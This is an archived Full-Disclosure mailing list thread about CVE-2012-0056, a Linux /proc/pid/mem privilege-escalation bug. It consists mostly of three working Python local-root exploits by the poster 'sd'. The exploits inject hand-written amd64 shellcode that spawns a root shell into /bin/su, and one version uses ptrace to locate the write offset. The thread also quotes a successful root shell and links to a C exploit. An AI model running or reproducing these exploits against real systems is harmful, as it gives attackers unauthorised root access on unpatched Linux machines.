[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Re: [Full-disclosure] Linux Local Root -- CVE-2012-0056 -- Detailed Write-up
- To: full-disclosure@xxxxxxxxxxxxxxxxx
- Subject: Re: [Full-disclosure] Linux Local Root -- CVE-2012-0056 -- Detailed Write-up
- From: sd <sd@xxxxxxxxxxxxx>
- Date: Mon, 23 Jan 2012 21:42:56 +0100
ptrace aint exactly rocket science :)
this one is OCD friendly (no spraying & detects prefix length).
looking forward to your C port (python aint exactly great for real
world use because of various deps).
#!/usr/bin/python
# CVE-2012-0056 amd64
# sd@xxxxxxxxxxxxx
#
# hg clone https://bitbucket.org/haypo/python-ptrace
# (cd python-ptrace && ./setup.py install --home=~)
# hg clone https://code.google.com/p/python-passfd
# (cd python-passfd && ./setup.py install --home=~)
# PYTHONPATH=~/lib/python ./hurrdurr.py
from socket import *
from passfd import *
from os import *
from socket import *
from sys import *
from ptrace.binding import *
from time import *
if argv[-1]=='hax':
sk=int(argv[1])
fd=open("/proc/%d/mem"%getppid(),O_WRONLY)
lseek(fd,int(argv[2]),0)
sendfd(sk,fd)
else:
r,w=pipe()
pid=fork()
if not pid:
dup2(w,2)
ptrace_traceme()
execl("/bin/su","su","h4x0rr")
wait()
while ptrace_getregs(pid).orig_rax not in (60,231):
ptrace_syscall(pid)
wait()
rip=filter(lambda x: x>0x00400000 and x<0x09000000,
[ptrace_peektext(pid,
ptrace_getregs(pid).rsp+i) for i in range(0,256,8)])[0]
data=(ptrace_peektext(pid,(rip-4)&(~7))|ptrace_peektext(pid,(rip+4)&(~7))<<64)
rip=((rip+(data>>(((rip-4)&7)*8)))&0xffffffff)-read(r,32).find('h4x0rr')
a,b=socketpair()
if not fork():
execl("/usr/bin/python","python",
__file__,str(a.fileno()),str(rip),'hax')
dup2(recvfd(b)[0],2)
execl("/bin/su","su","\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2"+
"\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb"+
"\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6"+
"\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05");
2012/1/23 Jason A. Donenfeld <Jason@xxxxxxxxx>:
> I started on a ptrace based way of finding things, but I'm a bit of a novice
> in this area. It's not working yet, but progress is here:
> http://git.zx2c4.com/CVE-2012-0056/tree/exit-ptrace-finder.c
>
> Any pointers?
>
>
> On Mon, Jan 23, 2012 at 04:05, Jason A. Donenfeld <Jason@xxxxxxxxx> wrote:
>>
>> Well done; that's a nice trick. Not really a fan of "spraying" like
>> that (for irrational 'aesthetic' bullshitty reasons), but this is
>> quite nice. Still though, you have the lseek offset in there, which is
>> different for different executables.
>>
>> I'm sure there's a way to determine this without read access though --
>> ptrace, for example, will make a suid binary loose its suidness, but
>> you could then (I think?) inquire about memory locations and maps.
>> Once you have the info you need, then you run su normally sans
>> ptracing in the exploit. Not sure if this works or not. I think there
>> are a few other similar things you can do when running suid code that
>> will make it loose suidness, and also a variety of inspection
>> techniques.
>>
>> On Mon, Jan 23, 2012 at 03:46, sd <sd@xxxxxxxxxxxxx> wrote:
>> > 2012/1/23 Jason A. Donenfeld <Jason@xxxxxxxxx>:
>> >> NICE! Well, I guess posting that blog post defeated the point of not
>> >> publishing. :-D
>> >
>> > Thanks for compliance with first full-disclosure famwhoring rule:
>> > always post warez to make kids happy! :)
>> >
>> > On a related note, here goes my "private" version which relaxes the
>> > rules regarding file permissions on /bin/su (ie not world readable).
>> > This is to point out you can just overwrite 8kb of .text (default
>> > stderr buffer, more is possible, but without mere nops) instead of
>> > juggling with objdump.
>> >
>> > !/usr/bin/python
>> > # CVE-2012-0056 amd64
>> > # sd@xxxxxxxxxxxxx
>> > #
>> > # hg clone https://code.google.com/p/python-passfd
>> > # cd python-passfd; ./setup.py build_ext --inplace; cd src
>> > # mv ~/hurrdurr.py .
>> > # ./hurrdurr.py
>> > from socket import *
>> > from passfd import *
>> > from os import *
>> > from socket import *
>> > from sys import *
>> > if argv[-1]=='hax':
>> > sk=int(argv[1])
>> > fd=open("/proc/%d/mem"%getppid(),O_WRONLY)
>> > lseek(fd,0x401000,0)
>> > sendfd(sk,fd)
>> > else:
>> > a,b=socketpair()
>> > if not fork():
>> > execl("/usr/bin/python","python",
>> > __file__,str(a.fileno()),'hax')
>> > dup2(recvfd(b)[0],2)
>> >
>> > execl("/bin/su","su",("\x90"*8000)+"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2"+
>> > "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb"+
>> > "\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6"+
>> > "\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05");
>> >
>> >
>> >
>> >>
>> >> So, here's my code:
>> >> http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c
>> >>
>> >> I wrote the shellcode by hand too, and you can grab the 32 and 64 bit
>> >> versions from that same tree.
>> >>
>> >> Have fun.
>> >>
>> >>
>> >>
>> >> BTW, before I'm asked, the reason why I don't hard code 12 for the
>> >> length of the su error string is that it's different on different
>> >> distros.
>> >>
>> >> On Mon, Jan 23, 2012 at 02:14, sd <sd@xxxxxxxxxxxxx> wrote:
>> >>> 2012/1/23 Jason A. Donenfeld <Jason@xxxxxxxxx>:
>> >>>> Server presently DoS'd, or dreamhost is tweaking again.
>> >>>
>> >>> boring tl;dr - don't play kaminsky on us :)
>> >>>
>> >>> #!/usr/bin/python
>> >>> # CVE-2012-0056 amd64
>> >>> # sd@xxxxxxxxxxxxx
>> >>> #
>> >>> # hg clone https://code.google.com/p/python-passfd
>> >>> # cd python-passfd; ./setup.py build_ext --inplace; cd src
>> >>> # mv ~/hurrdurr.py .
>> >>> # ./hurrdurr.py `objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d '
>> >>> ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'`
>> >>> from socket import *
>> >>> from passfd import *
>> >>> from os import *
>> >>> from socket import *
>> >>> from sys import *
>> >>> from time import *
>> >>> if argv[-1]=='hax':
>> >>> sk=int(argv[1])
>> >>> fd=open("/proc/%d/mem"%getppid(),O_WRONLY)
>> >>> lseek(fd,int(argv[2].split('x')[-1],16)-12,0)
>> >>> sendfd(sk,fd)
>> >>> sleep(1)
>> >>> else:
>> >>> a,b=socketpair()
>> >>> if not fork():
>> >>> execl("/usr/bin/python","python",
>> >>> __file__,str(a.fileno()),argv[1],'hax')
>> >>> dup2(recvfd(b)[0],2)
>> >>>
>> >>> execl("/bin/su","su","\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2"+
>> >>> "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb"+
>> >>> "\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6"+
>> >>> "\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05");
>> >>>
>> >>> --
>> >>> ./hurrdurr.py `objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' '
>> >>> -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'`
>> >>> id
>> >>> uid=0(root) gid=1000(sd)
>> >>>
>> >>> groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),104(scanner),110(netdev),125(lastfm),1000(sd)
>> >
>> > _______________________________________________
>> > Full-Disclosure - We believe in it.
>> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> > Hosted and sponsored by Secunia - http://secunia.com/
>
>
>
#!/usr/bin/python
# CVE-2012-0056 amd64
# sd@xxxxxxxxxxxxx
#
# hg clone https://bitbucket.org/haypo/python-ptrace
# (cd python-ptrace && ./setup.py install --home=~)
# hg clone https://code.google.com/p/python-passfd
# (cd python-passfd && ./setup.py install --home=~)
# PYTHONPATH=~/lib/python ./hurrdurr.py
from socket import *
from passfd import *
from os import *
from socket import *
from sys import *
from ptrace.binding import *
from time import *
if argv[-1]=='hax':
sk=int(argv[1])
fd=open("/proc/%d/mem"%getppid(),O_WRONLY)
lseek(fd,int(argv[2]),0)
sendfd(sk,fd)
else:
r,w=pipe()
pid=fork()
if not pid:
dup2(w,2)
ptrace_traceme()
execl("/bin/su","su","h4x0rr")
wait()
while ptrace_getregs(pid).orig_rax not in (60,231):
ptrace_syscall(pid)
wait()
rip=filter(lambda x: x>0x00400000 and x<0x09000000,
[ptrace_peektext(pid,
ptrace_getregs(pid).rsp+i) for i in range(0,256,8)])[0]
data=(ptrace_peektext(pid,(rip-4)&(~7))|ptrace_peektext(pid,(rip+4)&(~7))<<64)
rip=((rip+(data>>(((rip-4)&7)*8)))&0xffffffff)-read(r,32).find('h4x0rr')
a,b=socketpair()
if not fork():
execl("/usr/bin/python","python",
__file__,str(a.fileno()),str(rip),'hax')
dup2(recvfd(b)[0],2)
execl("/bin/su","su","\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2"+
"\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb"+
"\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6"+
"\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05");
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/